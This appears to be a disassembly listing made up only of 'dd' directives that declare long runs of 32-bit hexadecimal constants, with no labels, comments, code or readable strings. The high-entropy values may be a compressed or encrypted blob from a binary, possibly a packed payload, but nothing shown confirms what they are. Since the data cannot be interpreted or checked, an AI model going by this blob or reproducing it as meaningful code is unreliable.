		dd 0C3249C80h, 0AAE282CFh, 0B12B0D0Fh, 0E1DA80BDh, 0CAA89B7Ch
		dd 9BCE738h, 500828AFh,	54434BF0h, 5080E2AAh, 0BFE783Dh
		dd 46179A03h, 95668CDCh, 0E086A0D0h, 90F75B42h,	22F41E00h
		dd 0CC7F9104h, 0F8C2D76Ah, 7D52948h, 15221B21h,	0A9808204h
		dd 429C4680h, 70B100E7h, 3886890Eh, 406C004Ah, 18D474C8h
		dd 3D01D34Eh, 497EC043h, 35E156CEh, 0C161083h, 0B10E110Bh
		dd 0C0ACCFA9h, 71A8A0DEh, 4494B81Dh, 0C04EA6C4h, 80A68412h
		dd 1AD0C84Fh, 0A913420Ah, 0F0905081h, 3FECB682h, 6640D054h
		dd 3929BE42h, 88CA279Fh, 4A017410h, 3CBBA3D1h, 2FC486BEh
		dd 0B0667949h, 0F4EF00FAh, 73243893h, 0E263B5F6h, 0F21AC808h
		dd 6018DC7Fh, 0B7A51D56h, 0A0303FFFh, 1014B902h, 40072CA9h
		dd 0ECB18F08h, 518E3980h, 0AC1AC6h, 6C315762h, 6D5EE468h
		dd 0BB340h, 80D964E2h
		dd 88896074h, 20C84328h, 0C09FC500h, 64CFE4E1h,	2017014Dh
		dd 1BD02946h, 91C3830h,	79377F7Bh, 7CBD1EF8h, 44689C24h
		dd 0C068BC2Bh, 599EBB68h, 3F6D0064h, 4A31895h, 0D83808F9h
		dd 497BFDFh, 7875DD2Bh,	80F68084h, 0D104B421h, 0AA409044h
		dd 51A7FA21h, 5E2E5B07h, 25718047h, 84DE3517h, 0ECECA6B8h
		dd 7A67E410h, 338060B6h, 350E6E73h, 0CF5404B9h,	0C525BCC9h
		dd 89ECB26Ch, 0F9848040h, 0B1A8A3BAh, 521381D8h, 0E4BD3B7Bh
		dd 10011417h, 0ABA72589h, 843703B2h, 0FE58374Bh, 7D439081h
		dd 25442381h, 15CC2047h, 2142370h, 0C9D71DCh, 0D879C143h
		dd 1800EF10h, 80AA2A42h, 1F5C2587h, 0C0B13F50h,	61CF02B7h
		dd 0E2A24690h, 54013CC6h, 6F063381h, 25D840E0h,	2224B8F3h
		dd 3A1692CAh, 0D403E480h, 0A4A9B537h, 0F18800F8h, 0E7ACE8E1h
		dd 2CF8E9F0h, 0C9704437h, 4578004h, 8148367h, 0FF80543Fh
		dd 0BD9B534Ah, 1007C52h, 6B1DAC5Fh, 355B2EFh, 0C5AF42FEh
		dd 0B6C25CC1h, 9466C062h, 0E9C91F01h, 0EB34108Ah, 0A3493080h
		dd 0A7C437Fh, 0B02F40A0h, 76A4E409h, 0D1509047h, 25BF0257h
		dd 0CB8CAEC0h, 5F01D052h, 0A04C9DCDh, 0A980FAFDh, 2D81DB86h
		dd 1100AD31h, 0D0508F4Dh, 3E8A667h, 841CD42Bh, 0B5C8FDDEh
		dd 5F2E44F1h, 0B4075605h, 9859CEA6h, 12CA410h, 56302D06h
		dd 20B1BCB6h, 0AA27FA30h, 34E6A3h, 0E5427F79h, 0EB0B76B3h
		dd 7B6E4C13h, 45161603h, 0E85C8856h, 7D600C7Ch,	4FA92609h
		dd 0B88BC80Bh, 2E7C7043h, 400CCB2Ah, 61D89A19h,	119D6904h
		dd 68805244h, 58C208E4h, 6B01EC96h, 0BD3859A0h,	0EBDE33Ah
		dd 14344508h, 0E11B8061h, 0C043FE9h, 8A440F83h,	0C4E52118h
		dd 0BE88AC11h, 0C89F0F81h, 0B2313973h, 7AA0C87Ch, 9C3A3D1Dh
		dd 91A00C8h, 0D6F9620Eh, 20A95E3Bh, 1FA2CD78h, 4BEC7116h
		dd 652224B4h, 0E80710Ah, 8B7FA444h, 0BC895EBFh,	8DFE20C8h
		dd 10E8E24Ch, 0D10B239Eh, 5003ED94h, 0CBC2D5D2h, 45009459h
		dd 0ECC5AB42h, 0DCFD2A95h, 0A84730D0h, 89453521h, 5783B300h
		dd 4FB8867Fh, 0AAAC2F1Bh, 5D58C818h, 70647648h,	8F748A17h
		dd 20E65062h, 7DA9C7C8h, 8A400496h, 0FE27887Eh,	17A5FE25h
		dd 0CC34F576h, 9E16B114h, 0A00BAFCDh, 0B2D0E9A8h, 5E800828h
		dd 4AB244Bh, 0B8567712h, 0B68FAF02h, 0EAEC80E1h, 0A0C5A5E7h
		dd 3BAA90F8h, 25A491C2h, 0A2082008h, 0B7140414h, 569F84BDh
		dd 64A378h, 97D8F934h, 0B5F1DEh, 0D68AFF1Eh, 0E69F4CECh
		dd 0E901472Dh, 71130DF8h, 18D798D8h, 0F01CE8B8h, 9B424454h
		dd 0E0B53386h, 3EAF0178h, 2903AAE1h, 37D39E46h,	0F0391FE1h
		dd 0BC1404C9h, 4AE07554h, 9047E444h, 0C17FA440h, 63EC6BDDh
		dd 4A4E010Fh, 0CB5A8058h, 48F86DF4h, 0E4C040AEh, 0E877AD57h
		dd 6707EF79h, 0DD2D5B6Fh, 0D31141A0h, 8508CB09h, 3479EC18h
		dd 0DD006BF7h, 22CBB642h, 1DF7B04h, 4BC1585Dh, 0F2069F0Eh
		dd 0AB2D8CD2h, 1CFE36h,	0A4B410C7h, 0B5012829h,	784C0C77h
		dd 64CE80E5h, 5EA200ACh, 0C181F34Fh, 8C007B24h,	9E089B01h
		dd 99B705A1h, 0DCB2805Ch, 0B1A29438h, 0A88DE000h, 8187B99Fh
		dd 0C55107F9h, 4484C6E8h, 0C3F090E5h, 0BF0361A2h, 47FAD1E3h
		dd 0A884AC41h, 0F21374A2h, 6986027Fh, 38512A4Fh, 1244A409h
		dd 913AC080h, 41AA3BABh, 0B6F44704h, 6FECE4FDh,	0EFE1B800h
		dd 691CE804h, 0B4961242h, 2E02CA5h, 0DEE602E1h,	40438050h
		dd 42DC1892h, 54784700h, 0A0EA2286h, 0E00F488Fh, 50278710h
		dd 0AA8BC1B8h, 2ABC798Ch, 0FE6211ECh, 16AB22DBh, 2BCA8Ch
		dd 2A565C1Fh, 0CB0B7C99h, 988A373h, 926471C4h, 8400BBA4h
		dd 70648C24h, 46D80012h, 1EB4426Eh, 2207E066h, 215D3272h
		dd 76D75A80h, 0C90F6028h, 103444E7h, 8C278B05h,	0A0886908h
		dd 625F0353h, 0FF7C7B03h, 72EAB7E9h, 100474F4h,	0A22A7A9Eh
		dd 63C4D8E9h, 841B247Eh, 0BCA5C019h, 0CA0400F7h, 0E36D1E38h
		dd 9CEAB7A6h, 0FC8B5F4Eh, 202C991Dh, 0DC502E00h, 9EEC20F1h
		dd 0B4D703FAh, 9A284464h, 5F46D2C0h, 36071C7Eh,	67C2DECCh
		dd 0AF9EBD8Eh, 0E3E4690Fh, 0C51BFE78h, 2E0258E3h, 0A5164FE7h
		dd 0A047445Ch, 0E98BBC10h, 2E1000A4h, 0F0789B6Bh, 0BEF0D5C1h
		dd 5C06EF02h, 601D0854h, 7523550h, 1B8B966Bh, 8FAD4h, 2BACC0C3h
		dd 0FE04817Eh, 0E15646A2h, 799EFC8Ch, 0DDBA00ECh, 0F3F4987Ch
		dd 2C00B795h, 5DBC86A8h, 9DA514DFh, 9C619432h, 0A608401Ch
		dd 0A09480FFh, 7933B440h, 7A1B0144h, 5DD1A67h, 0D6B9F0B6h
		dd 6D6EFB2Ch, 5ABAFA0Bh, 3984B0F8h, 0D104F8E1h,	0E088A91Ah
		dd 6C9507FCh, 0C39E001Ch, 831431F1h, 0C558578Ch, 50458008h
		dd 1ECC41A2h, 1415DE2Dh, 7A250838h, 7701CC44h, 671F3C1Ch
		dd 9828462Fh, 46ABA2C4h, 44101979h, 0CF487EDEh,	3A9609FFh
		dd 0C084CAE2h, 29C289C8h, 8415B2h, 5D8A2A1Eh, 0F900E0CCh
		dd 87A8AA72h, 3EBC19h, 42E7B907h, 0AD2EBB14h, 4AF48F5Ch
		dd 0D94C88h, 0B6220B66h, 0BC091C08h, 3E14CA00h,	329B8516h
		dd 0FFE525DCh, 4278C804h, 0FC7C6634h, 28C54BA0h, 1378D400h
		dd 0C8C0A5Eh, 42188B27h, 0AC7FC1B8h, 219E2584h,	8A6910E4h
		dd 0FC284B8h, 2C8A38ECh, 4AC627Ch, 0A10B7C10h, 0E7D02F20h
		dd 0A2923D63h, 22FB1B16h, 2880E6F0h, 70F5783Dh,	0A8E44612h
		dd 0A41C58F1h, 4C1812Dh, 0C84B58B8h, 0B6019564h, 0C588334Fh
		dd 36E0B349h, 2F8B8CAh,	0A9E0C09Eh, 80A5F18Bh, 93C8F4FCh
		dd 6D47D700h, 18B25A1Ch, 0D31B025Ch, 81B57852h,	0F9CB8661h
		dd 1038AD2Dh, 4A09DC8h,	13565EA3h, 45658009h, 6FE73781h
		dd 0CC541C23h, 44C98884h, 71A4086Eh, 52B1CF80h,	0F66B2486h
		dd 1F4B0E97h, 0A8806D56h, 6E5329Eh, 8F46BB13h, 3D0000B2h
		dd 0FA911453h, 0F5EE7E75h, 22679B00h, 0B260E62Dh, 0E9FD0B68h
		dd 0AA8271E5h, 47EF1B4h, 0A66E6100h, 0B6F903h, 5486E8FFh
		dd 45FE7BB5h, 7500E0E0h, 0E1DA9AACh, 3A5E8F3Eh,	541F65C0h
		dd 52A58Bh, 2C44712Ch, 1F8C44Bh, 3913F438h, 0DAB26DB6h
		dd 43799CC0h, 886CD503h, 0F084A966h, 2E62AB0Dh,	60144150h
		dd 0B2B5DC51h, 30BD2B00h, 0FE3637A2h, 0C86E4BA5h, 5D1F31B4h
		dd 0AD80CDB4h, 1061CE4h, 8B7A0075h, 0D630158Ch,	512CB279h
		dd 0E14034C7h, 0E4751Fh, 55B687EDh, 397C8A35h, 0E00AB78h
		dd 123E0A7Dh, 278CA1B2h, 0C8EB1605h, 7E28E809h,	0F6872E1h
		dd 630A1EADh, 0AA7BBD04h, 5D962020h, 0E9740106h, 6BA07EEAh
		dd 103C3836h, 7F01837Ah, 104445ECh, 0ADDC3039h,	87D988h
		dd 0FA2D82B1h, 2E75476Dh, 0EEF5BE00h, 76DB9992h, 1A54BEDh
		dd 0E7E4B164h, 6CC02381h, 409A9046h, 87887FA2h,	489004Dh
		dd 0F2270E96h, 0C1019486h, 0FF01C7A9h, 86C211Ah, 0D8B2A4h
		dd 761C377Ch, 719CA6h, 527FC10Ch, 1DACC789h, 278018A0h
		dd 8E467B25h, 40A36AB4h, 0E69500BBh, 9111816Bh,	3788002Eh
		dd 0E1334270h, 4407B574h, 26CBFB77h, 0FE403424h, 4E9BFF0Ah
		dd 0E5D4A600h, 0A483F567h, 39EE057Fh, 0C59C5447h, 4360A26Ch
		dd 0A18200C0h, 0D04A0BE6h, 29CE02F2h, 8C5C8B6Fh, 0C40FB842h
		dd 64E085A2h, 9E83FCC5h, 0C25FDAD7h, 41D0F41Eh,	0C0601903h
		dd 0C0014AC6h, 0D8FD66ECh, 29D0755Bh, 0B770B0A2h, 88DF6804h
		dd 0ED24C534h, 4700A056h, 2DA47C28h, 0D7C406ACh, 71D66E8Ch
		dd 4FDD48A0h
		dd 2C0789E8h, 0D35755C9h, 4EE745C1h, 0CF1D69D8h, 0AFF67729h
		dd 0C1CAE301h, 2828947Ah, 25FCE7C5h, 425F0780h,	91C15E63h
		dd 304C36B8h, 75026F27h, 2976AD71h, 15F4913Ch, 0C2C0C510h
		dd 8B4CC800h, 6BC1E025h, 0F6780E04h, 0AAA5EC23h, 4B88B38Ch
		dd 0E0F4D0C4h, 0B560B0A6h, 0A2C88C98h, 18791F12h, 400D4088h
		dd 8D4CAC0Ch, 0B7A48010h, 120EEC56h, 97FEC0A3h,	74AE483Ch
		dd 4CAA5140h, 108C0731h, 8028B001h, 0A9358F6Ah,	2CB58D19h
		dd 54295F51h, 0C81E4A3Dh, 649EC015h, 0ADF325D8h, 0CF43D900h
		dd 376353E8h, 28A0B561h, 0A4CE2886h, 0B4E08C4Ah, 0B610F5DCh
		dd 0C07D9FE1h, 7800E8ECh, 43A081DBh, 28EFAFABh,	2086B71h
		dd 9A581D8Dh, 9E01A801h, 0C534278h, 1C104581h, 4A87FDECh
		dd 89CB4C4h, 746E97h, 7C6E4CE6h, 0AA9AFADAh, 0A450FC91h
		dd 0D9640B87h, 3070D090h, 44B82B7Eh, 17AAB723h,	1F980B57h
		dd 0E78F245Bh, 3A220214h, 2BD0F6E0h, 0CB8BE2F8h, 0ED025C8Ch
		dd 0DCE42001h, 4C090F2Bh, 0B7040F2Fh, 2781FD42h, 0F1D5CA4h
		dd 4C50F04Ah, 10FD8434h, 5E5DA9h, 8856E77Fh, 0CDE46960h
		dd 2268E15Dh, 47A894E5h, 0C91C0C8h, 5CA74D86h, 5007013Eh
		dd 9B78C342h, 3860DC21h, 79AB44AFh, 14907F77h, 0A8476B01h
		dd 8E16963h, 0CACC6092h, 0D8111ACh, 62003322h, 0C233871h
		dd 1D13010Bh, 7D50168Eh, 7C48E100h, 855177D2h, 8184252Fh
		dd 2FFAD13Ch, 0BD4BE9CCh, 0DFD4D898h, 30EF7800h, 9EB2D080h
		dd 75B5032Ch, 77B336Ch,	1A48608Fh, 0A800EFD4h, 8F98BFAAh
		dd 21EFEF4h, 0B70501B4h, 4460F6C3h, 6709589Ah, 10697E90h
		dd 2E3AC30h, 0B22DEC24h, 608030CBh, 40AA8566h, 178FF800h
		dd 37A812EBh, 920D0090h, 0B420053Eh, 58C01663h,	672A5053h
		dd 0C0C10E40h, 0BD2174B8h, 41694354h, 41EF4508h, 3289AE14h
		dd 57CC0514h, 4818C454h, 0D76D028h, 11886EB8h, 7D080260h
		dd 6343CCD6h, 0EAE7C83Ah, 0E0BA00E2h, 0E9D2829Ch, 3D00F48Ah
		dd 640A672h, 1C17D470h,	402FDCC8h, 28447607h, 0F426868Ah
		dd 0E3081CB5h, 63878726h, 40C9C79Eh, 668CA728h,	90EE6B2Fh
		dd 267650BCh, 2087ADh, 9C70C294h, 0B6091AA5h, 54A96FE6h
		dd 0A6864490h, 24802094h, 17985246h, 0B30825DBh, 72B2744h
		dd 6D518820h, 226E3B45h, 981ACD70h, 3BF143F4h, 9F0D0D6h
		dd 2C6BE042h, 0CE1EA402h, 0EC6014E2h, 0E312E4D5h, 0BC320581h
		dd 0B7A0403h, 3D4098C8h, 0E57900D9h, 7F8DB678h,	2D004155h
		dd 25F78468h, 291E1C9h,	6C2B899Eh, 50823845h, 0C510D96Eh
		dd 8F7B3730h, 0FD1640E0h, 0CBF8D1B9h, 2E090BDh,	34542415h
		dd 0F746006Eh, 28804B19h, 0A8087A24h, 7607AF09h, 8A60CF58h
		dd 228DF269h, 0CCA6FC17h, 885EB48Ah, 943F9A48h,	2A3E006Fh
		dd 6BF37D2Eh, 0A0C374E1h, 7561B6F9h, 0DC1E5013h, 73834493h
		dd 0D686A300h, 0A478EDE4h, 0A5F609EFh, 0DC7C893Ah, 0DCF14F40h
		dd 0A70200BBh, 678FDD56h, 43005706h, 1890AF23h,	1F2DE1D9h
		dd 2F41D236h, 569ED810h, 64B5A925h, 0DEE52294h,	11197E2Fh
		dd 8F17FEDCh, 0B975C520h, 89040A3h, 6EAED600h, 956D43D3h
		dd 56423E4Ah, 34F82B05h, 0EB91F74h, 3AA7BE75h, 0CD000FD3h
		dd 3C0AD459h, 7F45C517h, 8260FC87h, 13C0F44Dh, 0CCFE1BE7h
		dd 0EA09FC28h, 0D29A376Bh, 6D8F1240h, 0C0800083h, 93F81B78h
		dd 653492BFh, 5B188B20h, 0DC91A182h, 6A3F0041h,	94D82020h
		dd 424904BDh, 0B26D87A5h, 80E33814h, 40BCF36h, 0AE4F56h
		dd 1B68438Ah, 0A5A349DFh, 74A2B4B8h, 3464005Fh,	0F0DEA626h
		dd 377E178Eh, 256CA39Ch, 0B08871FEh, 0D2DDF5D8h, 0BC0088B0h
		dd 2EA97957h, 27FD8FFFh, 0C94176h, 6C7966h, 2F6C38B4h
		dd 3F853257h, 0A9801087h, 0BCE0B151h, 0D10049ABh, 91AAF543h
		dd 0F05EA50h, 219EC758h, 0EF086DA0h, 0FC771989h, 1F53D000h
		dd 0F501AC2Bh, 5229017h, 0B186C909h, 0B4EC0065h, 0A3C5D644h
		dd 7BA96625h, 0C86110A8h, 0D51F4047h, 5600D214h, 0C8C048FBh
		dd 1E584ADh, 760BFF81h,	0EA47F117h, 42CDD120h, 0DEEE00A0h
		dd 0E6C7D6F8h, 9D000B39h, 64AEC69Ah, 94E519F6h,	63344228h
		dd 0FCB314E6h, 1800449Fh, 0FEDA26CBh, 9CE2769Fh, 0F7EA83D0h
		dd 90B83FC6h, 16957E23h, 502E0088h, 2B289D7Dh, 0B892A968h
		dd 25AC1B25h, 28C8E6B8h, 0B43F0764h, 0D13EF69Fh, 78B33022h
		dd 0AFC800D0h, 0AD1B9EDBh, 0AC8CA94Ch, 0DC945FE2h, 0BB75E400h
		dd 0E5211CD7h, 49351417h, 961DB1C3h, 0A02E406Bh, 0CBED45D1h
		dd 867CA116h, 858AFC0Bh, 0D4E5E885h, 8D450803h,	2DB1409h
		dd 0FBDF7694h, 0CBF20358h, 67C88DFFh, 0D604C11Fh, 0C315B6A2h
		dd 0AEF0DE42h, 920080F9h, 3AE26A5Eh, 0ACFD10B0h, 647127DEh
		dd 0B71B00BCh, 104E1EEEh, 6F058F66h, 7BDB9FACh,	0F04CF4BCh
		dd 0CE03400h, 4963D0C3h, 922ED502h, 0DC44ADA3h,	844E8718h
		dd 60C50E5Dh, 92DCEDFCh, 3C0014BCh, 4C7E644Bh, 426ACA2h
		dd 3E05306Fh, 2895F5A1h, 8819B888h, 0E90C2279h,	329DAD7Ch
		dd 0B0CC021Ah, 1DAF5187h, 8A21E860h, 9D0FFCB8h,	0D25063C6h
		dd 14085450h, 4814C5AFh, 4B3C5680h, 0E8BFCC8Dh,	0C02214C8h
		dd 240C0926h, 8CC42Dh, 2320334Bh, 0B1C116B3h, 35C58300h
		dd 9F718B63h, 5802B7A4h, 0E720375Fh, 80DF78FCh,	0F800928Eh
		dd 0FE565BC6h, 125D8CA5h, 0FC4FD5C5h, 0D3A384E4h, 54691909h
		dd 897108B9h, 0AAC1C0BCh, 0CDDD1000h, 0D0C5EAD3h, 2B6B0302h
		dd 45763759h, 4813F9F3h, 9CE4FDFEh, 684C00E4h, 0EF55CE2h
		dd 0F6047639h, 1F88A564h, 0FA13B4B2h, 1D948880h, 1C4E3600h
		dd 0F2D7146h, 13A103F6h, 0DEE64872h, 74545BDAh,	0AA8AAC40h
		dd 24B90FEDh, 300ADA5h,	0BF19A339h, 1260342Dh, 543C604Ch
		dd 0A6890092h, 5E0B3345h, 6F17B077h, 0F400F9C1h, 7B615C15h
		dd 53450257h, 0BA84E9A7h, 0B13438C0h, 0C5DE8903h, 0C8A97F47h
		dd 5CCBACh, 0FE872F41h,	0BB1010Ch, 4E8A250h, 0F30849Fh
		dd 53623445h, 0A5CAD44h, 0D40BAA9Ah, 0D5DB8743h, 0A5F474D1h
		dd 0FC80947Ch, 0D55EEA7Bh, 0E84D2307h, 1C67B328h, 97862E50h
		dd 2F64B606h, 80C63C32h, 75E15300h, 1333A22Ah, 901A006Fh
		dd 886919DBh, 490FAAA6h, 418CC7F8h, 4276A728h, 89B918C3h
		dd 0A516905Ch, 0F098B74Eh, 7FA3177Bh, 38CC9ADh,	3B9BFCF2h
		dd 0C185ECB9h, 1E50802Bh, 63E33518h, 3D3F3069h,	15B2CD40h
		dd 6C7A2501h, 86D79EBAh, 904699FCh, 0B0FF0F9Ch,	2780949Bh
		dd 68117348h, 88022F7Ah, 27EB5E7h, 1E28C1D4h, 98407912h
		dd 0C02EC6Eh, 0FDE7630Bh, 8E24547Dh, 9BA0AE95h,	0D59CBA2Fh
		dd 30ECE500h, 0F27ECF2Dh, 3FEFE6Ch, 83A95F88h, 0A1002789h
		dd 0A76A18BDh, 18D67915h, 7E1962C0h, 3A4F2537h,	0ECA2B064h
		dd 0E7780078h, 6096EA93h, 4724F772h, 79817459h,	97B986D8h
		dd 97F31BC4h, 0C4F17412h, 842B8E89h, 18E83950h,	18281788h
		dd 0BAE4A809h, 2D1402A3h, 8030460Ch, 1EAF40h, 666B74FBh
		dd 7F827CE1h, 0D4203BF3h, 0B816487h, 0E1B09E33h, 0E019B809h
		dd 0D2E8316Eh, 38E7C910h, 0CD8F7974h, 0EF605488h, 9AC199Eh
		dd 5ED14501h, 0E4B22C2Dh, 16C474h, 40AE9B6h, 9ED42922h
		dd 0B4D9D209h, 71F48764h, 0B1AF23C0h, 20C412AAh, 0E158C775h
		dd 2AFA1A28h, 118BC422h, 5DB0DFD1h, 0C213C3BCh,	1C10CFA6h
		dd 4F8500B8h, 0E312F981h
		dd 2F7C0B8Ch, 3879E5C8h, 883C7203h, 5D0E301Ch, 0BCC66EA8h
		dd 3BC9BA04h, 44B2E1B2h, 4631C300h, 52BDA885h, 88094B0h
		dd 294A76AAh, 671034B2h, 0B74EC12Ch, 622FC2FAh,	0E85978C0h
		dd 38D41E3Eh, 426FA3Fh,	92002CDBh, 4BFA9EE5h, 0F156121Bh
		dd 4F941C19h, 3F84FED3h, 5550F063h, 0E8EF2CBEh,	0A8CA4B22h
		dd 38C5E6C1h, 0D7508034h, 5F66440Ch, 8FC10C0h, 2FE7C1Fh
		dd 63379E0Bh, 5E3094FAh, 7085B9AAh, 6F520033h, 0F8A8061h
		dd 79ECD144h, 0DF131490h, 6300387Eh, 0F5FD817Bh, 0FAEEC4Ch
		dd 6A6943A4h, 0B7A26E81h, 551280EAh, 0AFF97356h, 790609E4h
		dd 0F0F9E2CCh, 4261440Eh, 45FD23C5h, 0A3696E78h, 7108C0FBh
		dd 0CE824E0Dh, 8A00E70h, 2D9FECEBh, 44797B2Fh, 14D73918h
		dd 7FEFC300h, 0B5AC782Ch, 6BA28901h, 0DB603702h, 2971618Ah
		dd 0B7E70454h, 1806EB8Ah, 4228EA6Bh, 82E10BFh, 84460E80h
		dd 38F97C1Ah, 16B1954h,	3309C730h, 0B3E71208h, 0ECA08B12h
		dd 881EE8A9h, 4607E6A4h, 654E2082h, 9A8C5AC0h, 0A21B3DC8h
		dd 875CD1DBh, 0FEC4171Ch, 42C1A4ECh, 91ADDE63h,	884B5730h
		dd 880195E8h, 1A6E866Ch, 0D641E4F3h, 0CDFCA989h, 0B1631D81h
		dd 8817BCAh, 18C59EB2h,	84F0C10Fh, 5BCC1F08h, 88985080h
		dd 326D00E5h, 0D19AEB1Bh, 0E9EAB613h, 1F31E600h, 90E18C4h
		dd 1B1D7A73h, 400B72EEh, 0E5BBA3E7h, 5118596Fh,	40454E1Eh
		dd 0F6444C2Fh, 95021915h, 539DFB2h, 435603Eh, 28D575F8h
		dd 0F64807EFh, 96CF1CFCh, 5F254099h, 0EE37D2DBh, 782F8432h
		dd 34DB134Ch, 0EB8D9900h, 702E323Ah, 0CBBE0341h, 109CF47Fh
		dd 0EF0E20F6h, 9E2F17h,	0B8BE49AEh, 43E901E3h, 0D24A04B6h
		dd 0B0498033h, 0DB91C924h, 362118FBh, 0E6921920h, 5CBF400h
		dd 35D1A59Eh, 0A210025h, 7E4DB8D8h, 0B7E09815h,	8484B928h
		dd 0F459C84h, 14232FE0h, 0C0F6B508h, 2180FB88h,	3D983B4Eh
		dd 0C0870068h, 2EAC070Bh, 8201DFE0h, 160A8CC5h,	3080CAF2h
		dd 3CD61A13h, 41C5CD66h, 0D02192F7h, 0D8F8B8EFh, 0D611C00Ch
		dd 16272410h, 0BF798960h, 50C7E72Fh, 4E8892h, 0EFBE9A44h
		dd 0AE4D8785h, 0DA3EB808h, 60E48030h, 0BF0696D4h, 37362611h
		dd 0F62FEE00h, 6DAEC3C1h, 0D9160514h, 0DD4A0030h, 42E49264h
		dd 2A2D3AB8h, 21E6617Ah, 4094D260h, 33D348B0h, 7C481778h
		dd 0E1B88524h, 4945440h, 780DE950h, 412A0E3Eh, 7E65AC4Dh
		dd 0E4EB80D6h, 96FA3DB0h, 0CA00B2F2h, 0D814ED2Fh, 54623CF3h
		dd 60AD90F7h, 51EF6116h, 457E2003h, 0E5B43700h,	6E766307h
		dd 0CFF409D5h, 1821B109h, 414E100Fh, 13E764B4h,	398EF824h
		dd 95D10F3Ah, 9F20B298h, 0DEE272B8h, 12FEC502h,	80CF9A3Ch
		dd 28440818h, 13891DDh,	4A3AB64Dh, 815A0CDCh, 2BF002Bh
		dd 4320C086h, 0E01B2A23h, 0B5F75202h, 8030E417h, 0B30BA080h
		dd 0D8C0030Eh, 15A8EB9h, 721388B0h, 0BFE8C703h,	1BA0838h
		dd 2AB20F61h, 0E08607DCh, 62039561h, 5B8E7CC9h,	0F7A90CCBh
		dd 1631239Dh, 0F4C0EF54h, 0DA410100h, 3ED95570h, 682E0C25h
		dd 168C843Ch, 0C029E060h, 0E60EFEA0h, 4EA7866h,	0B30888D3h
		dd 10589026h, 7101973Bh, 0B7CF4DA8h, 0F8203D5Ah, 7044F8B5h
		dd 89CE60E7h, 66F47AE4h, 3C14BFE4h, 88E0F863h, 0A02C8009h
		dd 4C360E76h, 43CC7300h, 1CD6D5BFh, 3B8501B5h, 0B8F81FEDh
		dd 0C040CAB1h, 1A41739Fh, 7C9E2850h, 948E05BEh,	245B969h
		dd 0EB49EEE0h, 0CB277848h, 971C30E1h, 0C1EA1688h, 7F8FE9E9h
		dd 64B440F3h, 700F533h,	8B2D50F7h, 240EBC7Dh, 0EC15B24h
		dd 50F95649h, 0AF9FDCB8h, 57EE990Fh, 8E96608Fh,	0C8715B2Ah
		dd 20866228h, 447822CBh, 6D783CDBh, 154480A4h, 75DA3803h
		dd 6F9F5400h, 8522F8E0h, 0D2180619h, 3C500AC8h,	54377B4Fh
		dd 89EC21h, 0A512638Dh,	0ECB9687Ah, 0ED4F3301h,	67B20AC0h
		dd 9247FC4h, 9E588FBEh,	821A084h, 1038A413h, 248A84E6h
		dd 0C8C49050h, 0DD0AC01Dh, 0A50017C2h, 868E42C7h, 58802357h
		dd 0A84802B1h, 31E990C0h, 3E00507Ch, 0C16A7556h, 0EA15CCC6h
		dd 42F93D85h, 105B348Ah, 313B0894h, 0E38F0905h,	8B11348Ch
		dd 597CB0E3h, 0C6988A0h, 4D4EEF18h, 883D3721h, 0C80360C3h
		dd 0D336201Eh, 339CF8D2h, 32216A5h, 8E74333Ah, 26BBD580h
		dd 782C824Ch, 73085850h, 13E61E04h, 0E4882B4Ah,	0E9F30BB6h
		dd 0A30070EDh, 870A8F94h, 0B3677F02h, 85AF5BDEh, 48085AD0h
		dd 539A8032h, 0B4B23302h, 809C8658h, 11631797h,	4CD49073h
		dd 4CCF40C9h, 362525h, 0F4F97020h, 0B9111BD1h, 91399D2h
		dd 0BFB820BAh, 36003545h, 0B6BE8B61h, 711A54h, 0B125E522h
		dd 0B2E07446h, 0F3A64C00h, 0DB7CBABFh, 0E5280681h, 693C36C1h
		dd 85A9A400h, 6322ADB9h, 6F7600AFh, 0CE6431F1h,	602E187Eh
		dd 2D01D5B8h, 0EEC770AEh, 9AD030h, 9E5D98CBh, 8702EB19h
		dd 82A89C00h, 212B2CB9h, 0B1790016h, 0A1B5354Ah, 0F100AFC3h
		dd 0E614B398h, 9FE3E5h,	11A61219h, 45B5610Dh, 14603C2Eh
		dd 88AD44h, 2D9600DCh, 5AEF149Bh, 54B197F4h, 0CB10E024h
		dd 0DCA5BE8Fh, 60B40942h, 0A90B8481h, 497CFF82h, 1A091E7Eh
		dd 8BFE647h, 4940B480h,	4CCDF3EEh, 9208F829h, 200FC4Ah
		dd 0E773191Fh, 13893098h, 57FF2349h, 0FA0DCC1Dh, 0F7C7DC40h
		dd 1E449BE4h, 0DF1A1Ch,	63CD384Eh, 9C03B52Bh, 3D250EBAh
		dd 525CA827h, 0F4D0A01Eh, 813F6494h, 487C8816h,	35B09100h
		dd 0E74E9A74h, 61FF00BEh, 0C19CEEEFh, 2A263841h, 0FE1020EAh
		dd 8F007090h, 4E3A3C8h,	3800AE06h, 3C7FBAA7h, 6E8B7Ch
		dd 0A5E913E2h, 0DB30B60Bh, 5CD0F3EDh, 0F1045123h, 0EA371280h
		dd 0DC18A4D0h, 4C0905F5h, 82F42A28h, 0A52FCAB8h, 0A488B008h
		dd 0DA760B17h, 9025CF36h, 0C014006Eh, 4AB85A26h, 0ED733905h
		dd 0C98454A6h, 877C88h,	0BDF13F0Dh, 0E11B270Eh,	42143701h
		dd 0B1EF01A7h, 0B332E840h, 826401E4h, 0B6AB5CCh, 0D35CC4C8h
		dd 13CEFB3Bh, 2A0113DAh, 0A201FEEBh, 60707470h,	0D64A08D7h
		dd 830133D0h, 21E9630Bh, 6070EEBEh, 2C68F8C5h, 129875E8h
		dd 7C1C0888h, 0E814EFC2h, 0E825B950h, 0B890E806h, 46E544B4h
		dd 0B47A4B0Ah, 0B6088084h, 4D0602F9h, 0C40010D2h, 0F83167h
		dd 632F19BDh, 90EC3016h, 0A46A5A02h, 0A17F3FB8h, 763270C4h
		dd 3F2F8070h, 8606ACE4h, 4908D288h, 0CBC76300h,	6139C317h
		dd 136D0084h, 360112E4h, 818908Ah, 0EE99E7B5h, 391D6773h
		dd 46479B8h, 0E82BE60Eh, 275541CBh, 3EDCD5CDh, 3709062h
		dd 9EA860E0h, 4948E470h, 58785274h, 701B8560h, 7DC6E800h
		dd 0EEA219E4h, 9E2A3E35h, 0C0601CD0h, 666D0B50h, 0F20AA548h
		dd 9C17B8CFh, 3E4D7840h, 235300A6h, 7F81749Eh, 0B83C28FBh
		dd 54097F25h, 233C715h,	450F95D0h, 7CB50190h, 24B8E269h
		dd 9A1E5601h, 0C40BEE5Ch, 1D5C98CCh, 123C0062h,	14A32F83h
		dd 6531D211h, 3536500Ah, 0ED375980h, 532AB67Eh,	91DA4802h
		dd 8212E166h, 298949A4h, 346EB498h, 9DE8AC00h, 0F295CF54h
